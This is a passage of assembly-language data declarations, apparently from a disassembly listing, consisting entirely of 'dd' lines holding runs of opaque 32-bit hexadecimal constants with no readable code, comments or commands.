317B9BD9h, 9C40F818h dd 48A32091h, 20BBE000h, 342DD483h, 0F423E8AFh, 0DF261ECEh dd 52EC690h, 43006019h dd 9304B930h, 0E603F6h, 0E31E8CE0h, 7CAC020h, 10C4CFEEh dd 0FC806CBCh, 5B1ACABh, 6543C5A2h, 81ACC08Dh, 120F2645h dd 6F4E1D7Dh, 9713C0DDh, 92E09BCh, 75814DDFh, 38956880h dd 0FF0059C7h, 0ABC6F182h, 3688E4h, 9B6ABEF5h, 0A4312FC2h dd 0DE72FEF6h, 0AB131400h, 0CD4D3FA8h, 0C64503CAh, 0F7ACCE9Ch dd 7BB00EC8h, 7015E80Eh, 38FD0087h, 73F410CFh, 4A59741Eh dd 506CC061h, 0DE036AB3h, 0A0A89CC0h, 0C937E85Dh, 8C081C35h dd 0C3FE402Ch, 0D87D2A55h, 70085E4h, 59BDDA67h, 79BADA8h dd 92EE3FBEh, 38B7C0C4h, 5C000644h, 110458CAh, 0DD4124h dd 0B38BF895h, 0E3A1BCF1h, 92263101h, 2E6473D2h, 0B85E7A70h dd 0B6D30086h, 0E8E5171Eh, 8B008DBFh, 9F2073DFh, 755844Bh dd 0E4BB68C4h, 0E8BF3012h, 0C6006D9Bh, 9E7B7163h, 0A01B5276h dd 28DEE4BCh, 0E081CFA7h, 3FEE63Dh, 485F3F8Dh, 4F8AD5B4h dd 8CFAB858h, 3ED61000h, 69E6F598h, 0C1E82C2Ch, 75C70528h dd 4B8F8099h, 523EB1D4h, 7FE400C2h, 0BD6C01A9h, 49690094h dd 4333A77Ah, 9F00EB1Bh, 0B0423A84h, 0A2A14Bh, 2A9B59F5h dd 65DE25C7h, 0AC990B00h, 30D6CA9Ch, 6C881211h, 7CAB008Ch dd 0DD82FEAAh, 9CD43200h, 4C3079DCh, 781B0028h, 37E1FDEFh dd 58903F4Eh, 0C1190A07h, 7A50A303h, 0FB731D4h, 231863BAh dd 80259060h, 0D81EE3D3h, 778040E8h, 5C56DE3Ah, 0B48348ECh dd 3BD4FF24h, 7710312h, 0B0ED4466h, 7A518674h, 87B4A816h dd 50BE4F00h, 0B979901h, 0DDDC2C4h, 478CE400h, 0F203B9CEh dd 0C6AAB02Fh, 0FBDBA8A9h, 455C0059h, 0FA728B6Ch, 0D900D31Ch dd 8CAC38C2h, 2E131A4Eh, 809CD216h, 0B9A112A6h, 0B8092D6Dh dd 0E821D338h, 16241A8Ch, 4CA634h, 0A4AE9BEh, 0D4009AB5h dd 0CE4F4B72h, 0A03B35ECh, 3C215FCh, 73097A77h, 39D03A66h dd 589868D8h, 63F11600h, 0CCE0909Dh, 4EBAB04Eh, 0EA8A4h dd 6B27C4D7h, 0A5296Dh, 17AE2434h, 493288CCh, 0E60371E2h dd 62FE799Dh, 73A2D8C6h, 75410747h, 20D8633Fh, 52C73003h dd 0B426EE00h, 0F8B3CAFEh, 2B7F0056h, 8484C0Dh, 9A00D87Eh dd 8B2334CBh, 0C7F0AAh, 61E04696h, 12AB9B66h, 9CCE763Bh dd 0A82CE436h, 57D08F00h, 93EC4Ch, 655917FEh, 3021028Bh dd 800BA53Dh, 7D07B989h, 24665B1Eh, 68FB0Fh, 57F26AF8h dd 51002FE9h, 3F59C6B3h, 124002C1h, 346414h, 15722A93h dd 50388580h, 0A86389EEh, 0A6C42061h, 23AF647h, 25AF0FCCh dd 0E8400C4Ch, 0C900EC60h, 679D2624h, 1AC24Dh, 0AF1462A2h dd 0A9B50663h, 0CF00F47Ch, 5D79B666h, 8D4B8h, 0A7765BE1h dd 2EB0C504h, 68128000h, 6DBDCD2Dh, 0C6D60743h, 59B12544h dd 304B864h, 9B1AE2EDh, 470044ACh, 1D108E0Dh, 0CA00AD5Eh dd 0CD6A7134h, 7CA6B623h, 967D1E8Bh, 0A94B40B2h, 60BA9E02h dd 0FE0052B0h, 83ADD777h, 1649E3A7h, 94E20Eh, 0C4AAF783h dd 500EC9Bh, 12A76DDFh, 0B4DE10h, 925E043h, 0F73EFD7Ch dd 31BFE900h, 38D4813Dh, 465E1D5Dh, 2829419Bh, 304F5884h dd 3920B7BCh, 0DC860035h, 62CBE74Dh, 4B25ED4Ch, 0A87860AAh dd 7F5289Bh, 634102E8h, 31AF093Bh, 54104340h, 28A0B00h dd 0B023DCFDh, 86C009D5h, 0B4A2B39Fh, 30E38D44h, 0F6E6EBD0h dd 9C1AC40Ah, 301DD038h, 0A0203952h, 9D20D87h, 125932A8h dd 0A4648400h, 7D1FA182h, 6F0E2B67h, 0ACD180BCh, 2CF5C149h dd 0D01DFCh, 4F594C69h, 4802432Dh, 6062E6D9h, 29060DAh dd 88BF599Ah, 0ABE9EC00h, 7AD4384Ah, 0F4905C00h, 9371A4ACh dd 0BA502E95h, 0CFAB00E2h, 0F645C7DEh, 48A36400h, 9272E79h dd 0F5F406h, 2259BCCEh, 0E9B6788h, 0D496D2F4h, 0BD037500h dd 0A67C46h, 0C286DC38h, 53855AFCh, 4D0F9E00h, 30F18DFFh dd 0D5810324h, 642D65B3h, 0EC16F998h, 0C801C5E4h, 6CDF768h dd 0C06A708Ch, 4BE9EBD0h, 0AC6F8F00h, 11DB3179h, 0FAD0001Eh dd 51414999h, 0D92E0A5Bh, 170F49ECh, 814E6368h, 120DD1BBh dd 15D2B8F7h, 0B6E402B1h, 0E16424B7h, 71607C60h, 288B082Ch dd 6AE2A202h, 5E7468CAh, 7D211F44h, 727EC341h, 18CE4AC2h dd 0D4022F4Fh, 40F8AF13h, 644C93h, 9A27E58Ah, 5C5A38C0h dd 9706A301h, 0A9F9D5D6h, 706E3080h, 8C86E2CCh, 0FEB6690Fh dd 3A8AC0DFh, 3AFADh, 5DE4E997h, 0D4520E62h, 98274705h dd 88A04D7Eh, 146F0B10h, 900EBF5Ch, 5B3AEBE0h, 0D84A03ECh dd 0C500D2F8h, 0EFDAD963h, 0CD0014FCh, 8DCF0C0Dh, 4591B7h dd 62CC5873h, 791E9A53h, 6E6F7D0Ah, 6B0087E2h, 573A638Bh dd 8AE60108h, 3355BAC4h, 0F728801Fh, 0A7D3A2F6h, 0FF8E0078h dd 727F8C22h, 3C00BAAFh, 0F31136D7h, 0EA4EE28h, 50D0F419h dd 4C5514A3h, 74002F93h, 2375FE59h, 26DA6DDh, 0A5A10921h dd 4563E01h, 0FEE0D880h, 70BC13h, 780FB172h, 0A3573D5Dh dd 8D00DCE2h, 21890B58h, 7387EFh, 0ED1D4F8h, 9B3FCEA8h dd 503A1000h, 1D2EABEBh, 987513B2h, 8168A0DEh, 0A579E90Ch dd 0F0D11121h, 2767F8C7h, 7C48D544h, 0C9010F47h, 5170BE95h dd 0B4D1767Ch, 24FFD8h, 0B94F192Dh, 0D10EC6E9h, 600230C0h dd 0CBEACCh, 5FC7840Ah, 0DFF44C80h, 0AAA48300h, 0AC1D0659h dd 790C045Eh, 0BA117D36h, 0C6B5C841h, 0D1F07718h, 0E3FE576h dd 0B020DE0Ch, 8EF3FE02h, 42809006h, 5C04F23h, 44648560h dd 0C45848D6h, 0C78A610h, 964D7131h, 7300BCA0h, 7C6E81CBh dd 252D5A02h, 245820D0h, 0A5884102h, 60ED6604h, 0D1211Ch dd 4DD55A0Bh, 4C9B2616h, 234B0D00h, 8C793DA2h, 0D6F000F2h dd 7E3F5029h, 5338AD7Ch, 0CB4C52h, 570595F8h, 8202C2h dd 39BB7441h, 7DC4D9B6h, 5DC0C79Dh, 80A6960h, 92924EBAh dd 872FB198h, 0D1CBAF48h, 610E8040h, 9905DE77h, 0E425F9BCh dd 2F410070h, 0F13BD18Ch, 6509666Eh, 807BF890h, 1182BA30h dd 237904C8h, 0AE559826h, 0EEB0EC45h, 0A03850ECh, 0BC818309h dd 0CE03C476h, 682E130h, 98060D29h, 0F3C11EDh, 7F7D1C7Ch dd 75900C03h, 0EF1825E4h, 0E31D74FAh, 4F4A739Fh, 0DC17641Ah dd 6CC511h, 0E507B0C9h, 1FC0A7E0h, 401877EFh, 0DA5AB7B4h dd 47281787h, 0DF1C3410h, 400D4E2h, 18F14DAFh, 85D61C24h dd 762180FDh, 0F80D2786h, 97E1AB09h, 1EFC58E8h, 13DC6964h dd 0AAE8F025h, 3500C0A4h, 0BE32C9E9h, 2EA9F59h, 54586CC2h dd 0E0764F3Dh, 0B5900660h, 238001EAh, 8A46E217h, 4C0DD897h dd 8621751Fh, 0ACE0CD01h, 82F09631h, 0EE8026C9h, 0CEA700B2h dd 0FAF36563h, 9B9E0900h, 0BB2A43DDh, 60DF7398h, 0E82130CAh dd 890FA3B2h, 188BB966h, 30540D48h, 17603C79h, 2A009944h dd 6105712Dh, 0C3557FCh, 88A066FDh, 70E8CF31h, 3C90783Dh dd 506E046Fh, 3080C1EFh, 0B018B2A7h, 8C8F0034h, 0FC39CBBAh dd 0BF00788Eh, 0F54F3FACh, 1DACE18h, 0ECF84D21h, 80C1C4F4h dd 0EF280510h, 182A8F08h, 71D0A466h, 201852DFh, 50116E5Eh dd 0A97F003Ch, 7A533894h, 0C80C356Bh, 202A0C40h, 62C1000Fh dd 0DE038401h, 0C3002FD8h, 77E97B10h, 5F2DA5h, 0DA2B57D0h dd 55AA347Ah, 1D187667h, 261EA480h, 2C09000Dh, 0AD61F1CEh dd 0FDF8704Bh, 877FF978h, 50004378h, 0D767F591h, 76BEC5h dd 771D8DB9h, 0EE0C2073h, 0B22DD01Fh, 0FDCCA41Fh, 609A5072h dd 0B0BF682Bh, 4C3BC83Fh dd 773000Ah, 0D9EEEB5Ch, 0F76F3077h, 43E5A619h, 79763B1Fh dd 3DACA0Fh, 0C03A3119h, 60203F89h, 1D7D28B2h, 2F037317h dd 6B8F7709h, 0C218005Bh, 23DABDE7h, 79CA2460h, 29700476h dd 0EEED38D8h, 0CBE2CE80h, 7705C772h, 3514C5Ch, 538470E6h dd 12EC8D2h, 61F930CAh, 3DA179Ch, 0C458E600h, 0CC29EE02h dd 3A5F451h, 0EC771CCDh, 690FB345h, 8078D79Fh, 2A1EE2F9h dd 193B3A32h, 3C219E30h, 0A70F78DFh, 0E7FFB9Fh, 0C807203Fh dd 306FF35Dh, 0A4D89877h, 0BB08D4FEh, 817A877Dh, 36ECED16h dd 0B389F8F5h, 1E09FD66h, 0F75FA21h, 69EBD2EDh, 2A728237h dd 98AD80A0h, 547D3811h, 0F0D42651h, 0AC02D3E1h, 39A15DFDh dd 88908079h, 0C50CB0Fh, 0BEA5D6E3h, 0D8B5F558h, 1DD88848h dd 388C2025h, 36B4C901h, 904787FBh, 0E32D2080h, 0D77D7504h dd 120820A7h, 87F5C069h, 0D083403Bh, 486F81C0h, 0E324409Fh dd 3CFD0808h, 0C47AF301h, 2CE5CDBEh, 0A8DD986h, 3A0628BBh dd 72A2B91Ah, 21716008h, 0CDBB0262h, 0E2345Ch, 4954CCD5h dd 30E5E8B2h, 0C0F8A3C5h, 0F122E73h, 1440BA6Eh, 0DEE7B605h dd 936F0C52h, 0A1093A7Ah, 7DE521C0h, 7A3FA5F8h, 5823000Fh dd 52D890EBh, 7550E9F4h, 4B00C0B0h, 0D1180273h, 92675FB7h dd 0F480000h, 0BF40AFA6h, 2200A2D0h, 8174C71Ah, 30A45226h dd 0B44001E9h, 8F50CBA0h, 51073484h, 323F8868h, 0DFBF0411h dd 0A3DF0Bh, 429E783Bh, 28018CE7h, 0C00B5D6Ch, 41DF6FA1h dd 0A985DA69h, 2F714DB4h, 0A3238Ch, 2F633F74h, 940433CAh dd 2A70E4A8h, 46481CC1h, 0C3019423h, 0C2F9B178h, 8B770C19h dd 4590CBF3h, 7A0037D5h, 0CC57072Ch, 3D7EE4Bh, 0F243E253h dd 78182E34h, 69E925FDh, 5B5D0022h, 5349D3DEh, 0EEFE51B5h dd 54DF8904h, 0D882D265h, 0C544904Ah, 0F9CF1178h, 804C8832h dd 4F78CD72h, 0DC1CB21Dh, 0B824CE20h, 405594h, 821DF442h dd 498D7Ah, 2FEF517Fh, 0F2128B78h, 0C5FB2200h, 0A58A9991h dd 0BF882A43h, 647D98h, 0A331AE59h, 0C3901AB2h, 3BFFE300h dd 0CAD8EE1h, 50B0D4D8h, 0B5000823h, 0B752C3E7h, 8EC4A592h dd 0A6407CF8h, 0D0A9F0E8h, 43B28106h, 0B104F1h, 8D8CA345h dd 52E08960h, 85C664A0h, 7CFCD900h, 638FF557h, 59A0006Ch dd 949A659Bh, 0A82CC348h, 98321410h, 0D9A4B04Eh, 0F9AB0878h dd 4B641FD2h, 78C12640h, 6000372Ch, 4A476509h, 118BCA7h dd 5A6D76A2h, 20296B81h, 0AC005244h, 23AD94FAh, 426932h dd 50C824A1h, 0B8B2798Bh, 0B3052C99h, 0BB811FDCh, 38911EFEh dd 0B62803C2h, 0B84683h, 7EA05C80h, 409A39Ch, 784CB090h dd 8C04E8B0h, 275E3Ah, 1F4A6B56h, 45A32C6h, 0F818AEA0h dd 63E890A9h, 21EECBFh, 4D9390CDh, 1889B049h, 34FDDAE0h dd 0C718BAA5h, 561E517Ch, 0F51081B9h, 0A21EC27h, 31AA28A8h dd 57183A35h, 9CC4C648h, 30D78D36h, 17346C8h, 0F550ECE7h dd 50C8F2Eh, 4F3088h, 267FC1EDh, 4A32D2F6h, 8D32D5FAh dd 82D76833h, 8505E1A4h, 0F42F1D94h, 161C4C23h, 0A1950280h dd 0B9384F8Bh, 287C1404h, 178C77B8h, 7D52EDh, 6F53A9C0h dd 0D100E8B8h, 0EEA24E96h, 655D015h, 3F214A57h, 0D600E97Dh dd 7B31B45Ah, 26891819h, 119CA7E2h, 0BB5080CBh, 870ADAE1h dd 0BB086C05h, 94998C0h, 7D2E296h, 18CF63C1h, 0D96144B9h dd 2D442D4h, 8E7AB30h, 936752C5h, 0FA43A064h, 0E6F0F872h dd 6A70E19Ch, 89CF4E13h, 30C1F472h, 0E708BB5Eh, 641B1ADAh dd 366E403Eh, 0BEC7BBh, 4824D001h, 20E23934h, 0A5486FB8h dd 2E54859Ch, 0CFC3C800h, 0CFDA64Bh, 0AF8E155Eh, 0F90AC219h dd 6C3373F1h, 0B4850911h, 0DF7882E7h, 0AC44406Ch, 0F87302FFh dd 0A288473Dh, 7C800451h, 19836FF1h, 62EF01E2h, 0F28BE58Fh dd 5BC1812Eh, 649CB31Eh, 0BEDC30h, 0BC94B789h, 3FA1B869h dd 0C8908C68h, 11038209h, 0C4184B50h, 0F9B47804h, 903219CAh dd 78CC7520h, 8A1200C8h, 5BF850A4h, 7909CE73h, 9020F7A1h dd 0DD7BA540h, 2C8AB60h, 0B929F65Ah, 2024DC44h, 0F4423835h dd 61D840CEh, 57F38030h, 0E3A8D854h, 0CF8E38B9h, 1EAC0C1h dd 6F40248h, 74DA2E4h, 2E09F0FAh, 3022524Fh, 25BC502Ch dd 0D83A2775h, 0F425CC7h, 9ED0182Eh, 995D5C05h, 0A84B3D73h dd 118C1DFDh, 0C3208F43h, 0EC3CF3FAh, 0F792C92h, 0C2FC0DEAh dd 30951D68h, 81809091h, 114C668Ah, 0FB8EB201h, 1415E622h dd 60EEB040h, 0DF1D00B5h, 0F35F7075h, 7D6045C5h, 0B6660141h dd 1F26009Bh, 0C359B97Fh, 2258215Ah, 0E2A6C0DCh, 0CA0E1Bh dd 0B31A12D3h, 56A09EDAh, 43680102h, 4836C816h, 2A41E44h dd 613FBAE4h, 0EC6A2D7Fh, 0AC4C047h, 14B76060h, 3E074300h dd 0C1D1A35Fh, 6088966Dh, 7B942675h, 8290A0A0h, 4D25C004h dd 5081C4F9h, 80227045h, 0DE017523h, 3AF9AA78h, 7F884A18h dd 0CD7801C6h, 270E10D3h, 0FD14303Dh, 0F221F409h, 80C4295Bh dd 86BD1CD1h, 49B238DEh, 9D920682h, 0EC962438h, 4971E891h dd 643F6A18h, 45570CC7h, 0A07C81Ch, 3BD15AAAh, 43DB80B8h dd 7669CA50h, 0E49189Ch, 54805188h, 0EADB45BBh, 688F448Ch dd 0EEBB0C00h, 2F3B158Dh, 0F21606B0h, 50249057h, 0AC1E2238h dd 0C350D0D6h, 0D690231h, 0F34DB3D0h, 0C7005064h, 0EC1C6E7Ah dd 0E460FA18h, 50C23C3Eh, 0C874B69Bh, 2517F1D8h, 36119C99h dd 0D9E7B780h, 608CC752h, 7EFE610Eh, 3000BBF8h, 34B88291h dd 81FBAD5h, 7655A718h, 0CA353344h, 2E0EC40Ch, 0C3F00730h dd 525EFA04h, 8E1D61Ch, 4428A8h, 3FC59BF4h, 103907FFh dd 6093A0BAh, 0B86CC714h, 28058C09h, 27255452h, 80936404h dd 5A807D0Fh, 0AD786CBDh, 716171Fh, 9F3AC587h, 62FAE440h dd 3E12091Ah, 882A4F14h, 6078E4C0h, 2353ED44h, 41146F5h dd 7AECCF1Ch, 0AC56BB8Fh, 60FFD6BDh, 23510790h, 7A72F8A8h dd 0A96F8932h, 0C8D04CE3h, 0E2C07278h, 0EAF509ECh, 3D80858Ah dd 6C7AED4Ah, 0E919008Ch, 0BCA4AF71h, 7680D155h, 37460051h dd 5FBB4FD6h, 6104882Eh, 5ADBB922h, 3838D4D9h, 68C43ACh dd 7381FA62h, 3807488Ah, 27F592E3h, 34A4B8D4h, 0A8D353A9h dd 0EA3301E2h, 9D54C033h, 0F1C08003h, 0F18423F3h, 8C0C2DADh dd 0D51ED800h, 91573027h, 0AD59C321h, 14886299h, 261D6BFDh dd 0B60343F6h, 0D0F3A70Eh, 192CDC66h, 9C40A92h, 8721934Fh dd 0DCC52F00h, 534419h, 1BE854BCh, 897D69B3h, 0D8595200h dd 95E7EFF8h, 2D290393h, 0E2411A46h, 613191C1h, 7008006Bh dd 9E183A45h, 2E60470Ah, 55AA008Ah, 0B20F8891h, 8CC8089h dd 0E4B2121h, 0D722AAF2h, 1EA7F0A0h, 53E7392h, 0B2430C0Fh dd 96280Eh, 0FBF70263h, 336FA362h, 6A084B66h, 5B7D0021h dd 888BAD02h, 0A17207C3h, 0F87A46FCh, 8C37C529h, 0CD8F2011h dd 3CDC6042h, 3585001Ch, 152472FDh, 0DD080DFCh, 0E1463B1h dd 784CCD9Dh, 0E9190158h, 3918202Bh, 30388042h, 2B11AA8Ch dd 24889891h, 0AAF44980h, 1D2079Bh, 5E984552h, 80159E93h dd 7109B121h, 1DDC74CEh, 181F2312h, 3E47A075h, 29139B30h dd 8BF364h, 0DB332022h, 0CD619897h, 944AE528h, 45C11C0Fh dd 0F70E008Eh, 0C0169E35h, 0F30C6039h, 0E00F9329h, 41582664h dd 89662818h, 7D6043C8h, 9E72488Fh, 4CFF507Ah, 0D6DD1FC1h dd 718D5DB5h, 806A7F80h dd 0CB540B99h, 1902E0E6h, 41E8432Bh, 29218030h, 81F5CB2Ch dd 0F8D50694h, 59199E1Bh, 8E015374h, 0B5FA5A10h, 49F08448h dd 57F40079h, 1B9363E7h, 0C414B1CDh, 1FC00D75h, 0A9099DAh dd 750B5150h, 2CF8A9EBh, 6CF4F118h, 448CDC71h, 390281B3h dd 0BB47AEFDh, 6248879Bh, 98022180h, 0C5060045h, 0DACDDC91h dd 0A43C975Fh, 51C109B3h, 3E80037Ch, 4839F25Bh, 32B8C38h dd 99DC78CFh, 0A041324Fh, 971088C0h, 29A84C19h, 6FE8ED8Ch dd 229446DCh, 3E9E004Eh, 32884FFDh, 0C91891F1h, 0E0805C65h dd 24B7EEFFh, 74C47C7Fh, 8031A46h, 58E92992h, 63405012h dd 90BB040h, 7C80FA64h, 0FE20EC37h, 0EA3F00A5h, 9BE21848h dd 48D94591h, 89183978h, 9154AA04h, 27320CD0h, 0AAF1A22Fh dd 7271408Eh, 0DBD305E5h, 2124E399h, 88212E8h, 0F07A8C23h dd 24DC6111h, 848A4B88h, 7300A438h, 0A559F5DCh, 32530057h dd 5EFC9E37h, 50256E1h, 0B6C23571h, 4604C67h, 0E0E7CB51h dd 2032620Ah, 0B3CB292Eh, 0EF014576h, 53F4223Ch, 3FDDFC46h dd 0F18B884h, 6660D8F7h, 0FBF00208h, 4068C44Ah, 0F8025E76h dd 8CC60FE9h, 0C46F2FC7h, 0E7777140h, 643EF1D2h, 9D5287D9h dd 276250C9h, 44BC4741h, 0BC3E6033h, 0EC2B0FF0h, 245FF7FDh dd 0FE9B0118h, 0E843C951h, 1D549E3Eh, 740017D0h, 0C79B4AEBh dd 52720C4h, 0F1B999A8h, 57B4405Ch, 0BAB3347Dh, 9540690Fh dd 4EDC98Dh, 0C0673504h, 0F09128AAh, 48C004B1h, 79AAAF5h dd 16DF9D87h, 0B0E7A23Bh, 0D0E590A0h, 0B23EE0F4h, 0AE561F2Ah dd 97293102h, 5B84A41Ah, 8BCB5560h, 0C32AE038h, 2DF60D22h dd 0D9CB3Bh, 17381441h, 29C19089h, 0D1287B81h, 37D1879h dd 318C372Bh, 48016301h, 0C1D789FDh, 109268CDh, 0F00C083Ah dd 0F1026DC0h, 0A1722CFBh, 653F586Ch, 5DBF0200h, 0B0269779h dd 7DD90277h, 901C5B3h, 16F7F03h, 90329689h, 806D403Ah dd 27E32141h, 147880h, 0FEC858B5h, 3CF5A404h, 2A00FCF2h dd 4951E403h, 12534C3h, 0CBF76F53h, 51429561h, 0E0F2F4F0h dd 11DE5E89h, 0C171E99Bh, 0E4579353h, 0CCCBF5F0h, 30B03Eh dd 0F38D3961h, 0CD941F53h, 44932E16h, 0BE12431h, 0BE6CC214h dd 0B3621360h, 5A043176h, 4AD9CC16h, 8C3E64C8h, 51AAE602h dd 190CE891h, 8E571025h, 818600AAh, 89D5E9D9h, 0BCA7694Fh dd 7389B14Fh, 37DD7300h, 2E011F40h, 0E4D9B1BDh, 0BEEFEFE0h dd 0B65B14A0h, 548088EAh, 4BE9DC69h, 3CB31129h, 40189579h dd 2C1254E6h, 7D01F69Bh, 0B861CFE7h, 0D8317082h, 28405BF9h dd 4DF8FFA9h, 0DC5718C7h, 3B2613C3h, 7811E78h, 0C5180E73h dd 43A18C7Fh, 1D77697Bh, 40B953F0h, 0F1C749E1h, 310146E6h dd 6CC46F7Bh, 8DE8C592h, 0D124B15Bh, 77FC182Dh, 0ED5B3F07h dd 4D32D980h, 0FD5E2D63h, 8CE87639h, 0B8586A17h, 0B511240Fh dd 0FF188590h, 9DAC41F5h, 603377C1h, 0F719E035h, 7431BBADh dd 53F37C36h, 9A78908Fh, 5520EFE2h, 0B0F1245Fh, 6426806Ch dd 0BB515769h, 70C77E00h, 0DFD08EC4h, 0A13100F5h, 0CD8EE68h dd 4328E9DDh, 0E8ADF013h, 5AEA6EE0h, 0C98600E1h, 1CC52885h dd 0E20C558Ch, 98403DCFh, 441C99D4h, 26F608Eh, 82FB10CBh dd 8097C8A0h, 0C6026739h, 1201247Dh, 775138C9h, 25CC354Ch dd 0DD270075h, 3B3013DBh, 24141BA3h, 228CF17Ah, 5CC8C79h dd 0C4E3FFE4h, 0B2980833h, 0A201D280h, 0CF21CAh, 612A095Dh dd 44B19596h, 62B59309h, 0CB982191h, 0E0C801E5h, 0D54CEACFh dd 53109460h, 9161132Bh, 54BC3020h, 180C6E14h, 402816D6h dd 0F4C98EF4h, 0C00530B5h, 38558472h, 0E80F9C05h, 77050C80h dd 0DA4C096Dh, 1044B613h, 2D461CB0h, 6308F23Dh, 48C4F4DCh dd 0FD3A8240h, 0C500CA19h, 40531F2Eh, 563DD85Bh, 582284E1h dd 0DD934C00h, 2852A843h, 2AC000BDh, 0BB47D2DFh, 4D36CDE5h dd 20F08867h, 0F9F8336Bh, 1C221E4Bh, 44B4477Dh, 0B53C6024h dd 2010981Ch, 0F6309091h, 0DBBF9940h, 12C200E6h, 0D5C026BAh dd 1B3028EFh, 162DF1DAh, 0E2413891h, 0D4CFB681h, 3965F0C2h dd 0A7DA1314h, 0D511DC02h, 4D04426Ch, 6022C4CCh, 0F48BE0C9h dd 310709A6h, 0AC84F680h, 23DCA7BAh, 84F41E2Fh, 0A2C4DC6Dh dd 3C80C088h, 4F988FDh, 0C11F3F49h, 6AFC906Eh, 5A4D45F7h dd 0EC2E931Ch, 5F037F23h, 2609F866h, 90005C9h, 50493F0Fh dd 38280D3Ch, 28C4AACh, 0C9470DE4h, 7AE05FFEh, 26E88967h dd 5AE75826h, 0C80E9305h, 0E2E1A880h, 8F632EACh, 0D194A184h dd 271C4Ah, 0B5125ABDh, 43014B46h, 0BEFFC18h, 12A4B1D0h dd 8E621B31h, 0C04F88B8h, 291B0C48h, 56E13B00h, 70DBF715h dd 0F10F2605h, 26CC060h, 7A25FBF6h, 8814A1h, 8302643Ch dd 7E882BBCh, 8E692405h, 0C805610h, 1827D8B4h, 31674041h dd 123A2DECh, 3E58332h, 0D07A689Ch, 2A1F269Dh, 0E863C7h dd 376AF13Bh, 0DC620C34h, 32F374B0h, 2EA0003Ch, 86BA2B22h dd 3F7477EDh, 0E1814934h, 33CB0651h, 0F22022C2h, 71903337h dd 651F9E49h, 3DC67978h, 0B9625Dh, 200F2BAFh, 193CDE2Ch dd 94672400h, 8ABEF295h, 75F61836h, 4855E02Eh, 0ACB9BC90h dd 8E182D79h, 0DBB90600h, 207F1250h, 0DE7D09BCh, 64205851h dd 18195FBh, 9C92FCA0h, 18122B33h, 3221E1B9h, 504BB603h dd 4823583Ah, 0CCEDC500h, 10E865h, 764A73D7h, 1E8A1CCBh dd 5564000h, 0E1F760E5h, 3BD89244h, 3C4C2931h, 14F9660Ch dd 0D91B91D1h, 0F0189279h, 0DFA509F7h, 7DC10E30h, 3F10191h dd 1EB3E9DBh, 13ADD424h, 0F6E54F2h, 9D812FC4h, 6467F529h dd 3220CF70h, 93C12228h, 858F5202h, 0A0682F3Ah, 7AF662E8h dd 6EA53C44h, 1205A44Dh, 42B343F2h, 38955E8h, 0CA93CE4h dd 0B300D2B7h, 286CEF2h, 0F601F8Eh, 1848E264h, 7358D316h dd 8C23BC00h, 44758300h, 5AEE60C6h, 0C5FB38A1h, 0D806A8h dd 9EA9E8E1h, 7DEF6FD3h, 20944F51h, 5305A2B8h, 0C5C72B74h dd 87A88414h, 14AFE7E4h, 91C60084h, 93A65C82h, 16BB28ECh dd 0DF4501A4h, 39BD5D05h, 8BBEEC5Eh, 3B6C1F04h, 0D5046E85h dd 0D99D013Ah, 5880F7BCh, 7D8BA102h, 0B50E8D6Ch, 0F304DDBh dd 3CEFC146h, 9852F07Ch, 0C0B04DDDh, 70F530D6h, 6EE0D301h dd 50143ED5h, 2DBCC468h, 0C74B1D8Ch, 0B58C0077h, 62AEDC25h dd 33C9E717h, 0FB003213h, 491B549Ah, 6D020069h, 0EA51CEFAh dd 9450B9F7h, 0D01F0EB0h, 65173D7Dh, 0DF474040h, 6F25E6Bh dd 2DC6F6E2h, 8B0C06Ch, 0A03EF320h, 532550h, 0BA46146Dh dd 51C26655h, 2023D030h, 29407AB6h, 0E3202D3Bh, 33EC9F82h dd 0D2339250h, 16E7EF4h, 0DA692B39h, 0D1498BA8h, 0BC6028A5h dd 5A008C68h, 89604ADEh, 9C7BF99Fh, 506B9940h, 46118F4h dd 52FBCD02h, 80B4B2A3h, 3025973h, 0DBB0038h, 0D990D54Eh dd 0CC90BDEDh, 95E45C05h, 0A4027BCDh, 50C79C5Ah, 0F12612BCh dd 65D44059h, 0A12D039Ah, 1D8BED00h, 1043CB3Ch, 0B694B260h dd 48465E88h, 9E6F6300h, 0ADAEB7F2h, 0E76A760Bh, 3B7041DDh dd 0AA738F18h, 0F809110h, 0AAF74EB0h, 0C2021E0Ah, 113D901Bh dd 9E3D45FDh, 5D602960h, 0E1E2673Bh, 20A1D301h, 0BB43E968h dd 25EC40FAh, 614028ACh, 0F91D031Ch, 9BFEB8BFh, 0AE9CA790h dd 0FA1AA00h, 0EEFFE4E7h, 0A7C49004h, 63214484h, 2A10A002h dd 0FECF025Ah, 48A89E2h dd 0F5467858h, 0F2026002h, 0F0B35AFBh, 587040ACh, 60F32602h dd 5980489Eh, 0F725E737h, 424122Dh, 0FC9865ACh, 89CB0457h dd 322B1AE0h, 2F2C2034h, 160064CBh, 78F69793h, 4EE8BCCh dd 49ADFB3Eh, 0E280D115h, 2CAC3186h, 8C34BC18h, 0B291920Eh dd 0CF52E033h, 1276675h, 44548E56h, 3CFDA5FAh, 16E403C0h dd 534B79ECh, 25A210D0h, 5197BC30h, 482CB4E4h, 0CD819B80h dd 0AC02610Dh, 0E1633DD3h, 761EC0C1h, 7C93045Ah, 0FE283F71h dd 30113DC0h, 6878591Dh, 3C031708h, 0FDD80C3Eh, 6161864h dd 0CD2808A2h, 0FC171143h, 2C3EA47Dh, 94802323h, 3371FE69h dd 61C9073Ah, 0A0516DCFh, 9B31293Fh, 0D3311860h, 97E684h dd 0C0D43678h, 6F09A3E9h, 4AF48E0Bh, 0FE1002ADh, 98C08979h dd 0F48957A8h, 48F35B5Dh, 2BC05978h, 21E08DCBh, 7C912A3Ah dd 0E4232814h, 8A195B00h, 8953D166h, 6C9C2972h, 0E871BB1Bh dd 0BC4457FCh, 22467660h, 16A63F79h, 982EBF80h, 18747DABh dd 1F974C00h, 0ADFA5F06h, 4C654995h, 4E05116h, 0B0B34FB1h dd 1E639B2Ch, 0BF0DC851h, 8B492B90h, 54E6F4h, 1CAD40E1h dd 0B7E365ECh, 90AAE2E8h, 0DC7B0C71h, 8B625460h, 0F5562914h dd 61247CACh, 0DA403C8Ah, 98397451h, 0AD9B2AB4h, 0D91F268Ch dd 0C96641F4h, 0F4E9E404h, 694FCC14h, 0A5FB81D8h, 0E8AC6841h dd 3A3134CAh, 33223DCh, 0DDB8E7E9h, 76F589E0h, 217A7E33h dd 0DF1F02Eh, 0C03C0064h, 28D59DD4h, 730359AEh, 6D2E8CEh dd 9CC81232h, 0A0649709h, 47146E56h, 94359586h, 3660B301h dd 0C746C98h, 7C6102F4h, 599C5E5h, 0E287086Bh, 9D0045D5h dd 0B2B015C9h, 